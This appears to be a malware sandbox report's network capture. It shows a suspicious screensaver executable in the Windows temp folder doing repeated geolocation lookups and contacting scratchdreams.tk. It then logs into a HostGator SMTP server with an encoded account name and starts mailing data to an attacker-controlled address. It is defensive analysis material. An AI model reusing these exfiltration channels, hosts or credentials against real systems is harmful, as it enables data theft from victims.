\|}\|y\|u\|q\|m\|i\|e\|a\|]\|Y\|U\|Q\|M\|I\|E\|A\|>\|<\|:\|8\|6\|4\|2\|0\|.\|,\|*\|(\|&\|$\|"\| <<<<
2024-05-01 13:17:09 UTC	1369	IN	Data Raw: 00 00 b8 01 00 00 a8 01 00 00 58 00 00 00 48 00 00 00 78 00 00 00 68 00 00 00 18 00 00 00 08 00 00 00 38 00 00 00 28 00 00 00 d8 00 00 00 c8 00 00 00 f8 00 00 00 e8 00 00 00 98 00 00 00 88 00 00 00 b8 00 00 00 a8 00 00 00 60 05 00 00 20 05 00 00 e0 05 00 00 a0 05 00 00 60 04 00 00 20 04 00 00 e0 04 00 00 a0 04 00 00 60 07 00 00 20 07 00 00 e0 07 00 00 a0 07 00 00 60 06 00 00 20 06 00 00 e0 06 00 00 a0 06 00 00 b0 02 00 00 90 02 00 00 f0 02 00 00 d0 02 00 00 30 02 00 00 10 02 00 00 70 02 00 00 50 02 00 00 b0 03 00 00 90 03 00 00 f0 03 00 00 d0 03 00 00 30 03 00 00 10 03 00 00 70 03 00 00 50 03 00 00 02 00 00 00 03 00 00 00 05 00 00 00 07 00 00 00 0b 00 00 00 0d 00 00 00 11 00 00 00 13 00 00 00 17 00 00 00 1d 00 00 00 1f 00 00 00 25 00 00 00 00 00 00 00 04 Data Ascii: XHxh8(` ` ` ` 0pP0pP%
2024-05-01 13:17:09 UTC	1053	IN	Data Raw: 2c 1c 02 7b 94 00 00 04 6f 98 00 00 06 2d 0f 02 7b 94 00 00 04 6f 9a 00 00 06 14 fe 01 2a 16 2a ae 02 7b 94 00 00 04 2c 21 02 7b 94 00 00 04 6f 9a 00 00 06 2d 12 02 7b 94 00 00 04 6f 98 00 00 06 14 fe 01 16 fe 01 2a 17 2a 16 2a 6e 02 7b 94 00 00 04 2d 02 14 2a 02 7b 94 00 00 04 28 81 00 00 06 6f a0 00 00 06 2a ea 02 6f 9c 00 00 06 02 6f 9c 00 00 06 6f 9c 00 00 06 6f 98 00 00 06 33 11 02 6f 9c 00 00 06 6f 9c 00 00 06 6f 9a 00 00 06 2a 02 6f 9c 00 00 06 6f 9c 00 00 06 6f 98 00 00 06 2a 5e 02 03 6f 98 00 00 06 33 07 03 6f 9a 00 00 06 2a 03 6f 98 00 00 06 2a 46 02 2c 0c 02 6f 9e 00 00 06 2d 02 16 2a 17 2a 16 2a 3a 02 2c 0a 02 03 17 fe 01 6f 9f 00 00 06 2a 52 2b 08 02 6f 98 00 00 06 10 00 02 6f 98 00 00 06 2d f0 02 2a 52 2b 08 03 6f 9c 00 00 06 10 01 03 6f 9c Data Ascii: ,{o-{o{,!{o-{on{-{(ooooo3oooooo^o3ooF,o-*:,oR+oo-*R+oo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49715	23.56.12.145	443	7348	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-01 13:17:21 UTC	475	OUT	GET /onboarding/smskillreader.txt HTTP/1.1 Host: armmf.adobe.com Connection: keep-alive Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ReaderServices/23.6.20320 Chrome/105.0.0.0 Safari/537.36 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br If-None-Match: "78-5faa31cce96da" If-Modified-Since: Mon, 01 May 2023 15:02:33 GMT
2024-05-01 13:17:22 UTC	198	IN	HTTP/1.1 304 Not Modified Content-Type: text/plain; charset=UTF-8 Last-Modified: Mon, 01 May 2023 15:02:33 GMT ETag: "78-5faa31cce96da" Date: Wed, 01 May 2024 13:17:21 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49724	172.67.177.134	443	8336	C:\Windows\Temp\hadvices.scr

Timestamp	Bytes transferred	Direction	Data
2024-05-01 13:17:27 UTC	85	OUT	GET /xml/149.18.24.96 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-05-01 13:17:27 UTC	699	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 13:17:27 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: MISS Last-Modified: Wed, 01 May 2024 13:17:27 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ab4dzDZD7ACXuFM0rTRZ2WmquA6%2B3gUX%2Bc%2BOToBISiZ2VxRAvaBrPLG7hJvnL%2FGDN3MnM5gkP%2BMZ9p9qIhhbOzToW9IqUuAAB6CWtS0TazCOgVDJenEPtoWk2rWxIb5XxtAG5OIv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87d00d4598200814-IAD alt-svc: h3=":443"; ma=86400
2024-05-01 13:17:27 UTC	341	IN	Data Raw: 31 34 65 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 34 39 2e 31 38 2e 32 34 2e 39 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 Data Ascii: 14e<Response><IP>149.18.24.96</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.7
2024-05-01 13:17:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49727	172.67.177.134	443	8336	C:\Windows\Temp\hadvices.scr

Timestamp	Bytes transferred	Direction	Data
2024-05-01 13:17:28 UTC	61	OUT	GET /xml/149.18.24.96 HTTP/1.1 Host: reallyfreegeoip.org
2024-05-01 13:17:28 UTC	705	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 13:17:28 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: MISS Last-Modified: Wed, 01 May 2024 13:17:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=889RWY73f29sE5zUYkQ%2FvuO59MG0MHtZePHpiLN%2BWPnqi4xZdcw%2Bk4nN%2FBgYBAj8pqi93InaDtUudtwemCdi3Lfc4ikbcSJz%2B9ltRw0dUarHaI7e%2FxsvazP3VfnP4qm%2FgecYh5O%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87d00d4b89c93b68-IAD alt-svc: h3=":443"; ma=86400
2024-05-01 13:17:28 UTC	341	IN	Data Raw: 31 34 65 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 34 39 2e 31 38 2e 32 34 2e 39 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 Data Ascii: 14e<Response><IP>149.18.24.96</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.7
2024-05-01 13:17:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49729	172.67.177.134	443	8336	C:\Windows\Temp\hadvices.scr

Timestamp	Bytes transferred	Direction	Data
2024-05-01 13:17:30 UTC	85	OUT	GET /xml/149.18.24.96 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-05-01 13:17:30 UTC	691	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 13:17:30 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: MISS Last-Modified: Wed, 01 May 2024 13:17:30 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HSbU01gPN9fVMPzMGcmMSglZBvNgbww9J31iBoY1i9EjoRnPQ7sA9PTjrL80Ac8hzZ3pZQAH6qBVlSQzOmxCikOt83EBNrSnVpUlcXBDm7zzqa0oX7jU%2BnAn1BOcSGeSVHBszOEU"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87d00d595ac35848-IAD alt-svc: h3=":443"; ma=86400
2024-05-01 13:17:30 UTC	341	IN	Data Raw: 31 34 65 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 34 39 2e 31 38 2e 32 34 2e 39 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 Data Ascii: 14e<Response><IP>149.18.24.96</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.7
2024-05-01 13:17:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49731	172.67.177.134	443	8336	C:\Windows\Temp\hadvices.scr

Timestamp	Bytes transferred	Direction	Data
2024-05-01 13:17:31 UTC	61	OUT	GET /xml/149.18.24.96 HTTP/1.1 Host: reallyfreegeoip.org
2024-05-01 13:17:31 UTC	700	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 13:17:31 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 4 Last-Modified: Wed, 01 May 2024 13:17:27 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Bw9%2BwJZ8NI5qcNLvkFbkyTo3teP26L708nsWJyr%2BTBlkGEHsImkhdaXS1k7zh5kMbKXdsYtEhp6CnF3NygpPnnCZ7LT1GDKRtl7hiNK94You6SWju2fugxFiFQFLKuGepYnSiRzx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87d00d5f7a353932-IAD alt-svc: h3=":443"; ma=86400
2024-05-01 13:17:31 UTC	341	IN	Data Raw: 31 34 65 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 34 39 2e 31 38 2e 32 34 2e 39 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 Data Ascii: 14e<Response><IP>149.18.24.96</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.7
2024-05-01 13:17:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49733	172.67.177.134	443	8336	C:\Windows\Temp\hadvices.scr

Timestamp	Bytes transferred	Direction	Data
2024-05-01 13:17:31 UTC	61	OUT	GET /xml/149.18.24.96 HTTP/1.1 Host: reallyfreegeoip.org
2024-05-01 13:17:32 UTC	708	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 13:17:32 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 4 Last-Modified: Wed, 01 May 2024 13:17:28 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FPfowrYSP8EhiG0OB07MkL3J8fDbcgH5T%2BEZx7nrCUpMJBQDn9XS0eVY%2Bzc6ubhYGB31knI5qJVj1vKPb60LEYodvyns%2FxQMTQYf5U%2BQZ7TM8Cp4VsvZ%2Bdny4WN93Qnn%2FZo0mO8P"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87d00d637dc4054a-IAD alt-svc: h3=":443"; ma=86400
2024-05-01 13:17:32 UTC	341	IN	Data Raw: 31 34 65 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 34 39 2e 31 38 2e 32 34 2e 39 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 Data Ascii: 14e<Response><IP>149.18.24.96</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.7
2024-05-01 13:17:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49735	172.67.177.134	443	8336	C:\Windows\Temp\hadvices.scr

Timestamp	Bytes transferred	Direction	Data
2024-05-01 13:17:32 UTC	85	OUT	GET /xml/149.18.24.96 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-05-01 13:17:33 UTC	698	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 13:17:33 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 0 Last-Modified: Wed, 01 May 2024 13:17:33 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=S6UNSa0du88oS3FOQw1bNspGbKXUKpjtHJlSB0U2Br4RHZKy9TLSmDkOVHbKKncamOXoHitM3AV1saKTLoGBvkl7Ya3lynyLbJEwKpqZJ96z5t7yqnA5ngkjFRxRaWfwaIK9%2Bm23"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87d00d679df428a4-IAD alt-svc: h3=":443"; ma=86400
2024-05-01 13:17:33 UTC	341	IN	Data Raw: 31 34 65 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 34 39 2e 31 38 2e 32 34 2e 39 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 Data Ascii: 14e<Response><IP>149.18.24.96</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.7
2024-05-01 13:17:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49737	172.67.177.134	443	8336	C:\Windows\Temp\hadvices.scr

Timestamp	Bytes transferred	Direction	Data
2024-05-01 13:17:34 UTC	85	OUT	GET /xml/149.18.24.96 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-05-01 13:17:34 UTC	710	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 13:17:34 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 7 Last-Modified: Wed, 01 May 2024 13:17:27 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8FJHdLfoHwRXKi7%2F9BYIpJJvbMUutRU%2BqQrfEcrBsCqqp%2FQ%2F18uODgyZTGaI1GzmqkDC3%2B5j9sYgJxKCnQzuDysGopFHyO6wc1j7hEnNuIw2LOrsTrEX%2B%2BE5V8lqF9HNjXf2ar20"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87d00d728d5a5a8d-IAD alt-svc: h3=":443"; ma=86400
2024-05-01 13:17:34 UTC	341	IN	Data Raw: 31 34 65 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 34 39 2e 31 38 2e 32 34 2e 39 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 Data Ascii: 14e<Response><IP>149.18.24.96</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.7
2024-05-01 13:17:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49739	172.67.177.134	443	8336	C:\Windows\Temp\hadvices.scr

Timestamp	Bytes transferred	Direction	Data
2024-05-01 13:17:34 UTC	85	OUT	GET /xml/149.18.24.96 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-05-01 13:17:35 UTC	693	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 13:17:35 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: MISS Last-Modified: Wed, 01 May 2024 13:17:35 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Eth4Glb1qHOXFUx7rcJRXgtiRcLmcDjjcV%2FQT%2Bw2Pwy9Uwkaz3qphIA6yEIO3AUAl5iueyi9XWymjlMSESW3HFCWVU8cHImOZ4BM2od1Xug46F2b2GKcVYVpQtgM2mVIUJZXXEn9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87d00d76ac34827b-IAD alt-svc: h3=":443"; ma=86400
2024-05-01 13:17:35 UTC	341	IN	Data Raw: 31 34 65 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 34 39 2e 31 38 2e 32 34 2e 39 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 Data Ascii: 14e<Response><IP>149.18.24.96</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.7
2024-05-01 13:17:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49740	172.67.169.18	443	8336	C:\Windows\Temp\hadvices.scr

Timestamp	Bytes transferred	Direction	Data
2024-05-01 13:17:36 UTC	79	OUT	GET /_send_.php?TS HTTP/1.1 Host: scratchdreams.tk Connection: Keep-Alive
2024-05-01 13:18:15 UTC	735	IN	HTTP/1.1 522 Date: Wed, 01 May 2024 13:18:15 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15 Connection: close Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VWcfuWbC8wEyKzm4iTvfa3ldmabudxUgvvHNDA99d7YDJp%2FsfoEdkVWNREmYn%2B9WuucXJNR%2FbkyvTHJw9PA2O5GNHZW2c82AyQdmcvUsUlFT3RaJqZAIr087q0sS5Zu7481k"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Server: cloudflare CF-RAY: 87d00d7e1e969c66-IAD alt-svc: h3=":443"; ma=86400
2024-05-01 13:18:15 UTC	15	IN	Data Raw: 65 72 72 6f 72 20 63 6f 64 65 3a 20 35 32 32 Data Ascii: error code: 522

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
May 1, 2024 15:18:22.234245062 CEST	587	49743	108.167.142.65	192.168.2.7	220-gator4175.hostgator.com ESMTP Exim 4.96.2 #2 Wed, 01 May 2024 08:18:22 -0500 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
May 1, 2024 15:18:22.237030983 CEST	49743	587	192.168.2.7	108.167.142.65	EHLO 124406
May 1, 2024 15:18:22.422550917 CEST	587	49743	108.167.142.65	192.168.2.7	250-gator4175.hostgator.com Hello 124406 [149.18.24.96] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
May 1, 2024 15:18:22.423414946 CEST	49743	587	192.168.2.7	108.167.142.65	AUTH login dGVzdEBxb2xkZW5mcm9udGllci5jb20=
May 1, 2024 15:18:22.608987093 CEST	587	49743	108.167.142.65	192.168.2.7	334 UGFzc3dvcmQ6
May 1, 2024 15:18:22.815016031 CEST	587	49743	108.167.142.65	192.168.2.7	235 Authentication succeeded
May 1, 2024 15:18:22.816876888 CEST	49743	587	192.168.2.7	108.167.142.65	MAIL FROM:<test@qoldenfrontier.com>
May 1, 2024 15:18:23.002016068 CEST	587	49743	108.167.142.65	192.168.2.7	250 OK
May 1, 2024 15:18:23.005209923 CEST	49743	587	192.168.2.7	108.167.142.65	RCPT TO:<receive@qoldenfrontier.com>
May 1, 2024 15:18:23.209431887 CEST	587	49743	108.167.142.65	192.168.2.7	250 Accepted
May 1, 2024 15:18:23.212903023 CEST	49743	587	192.168.2.7	108.167.142.65	DATA
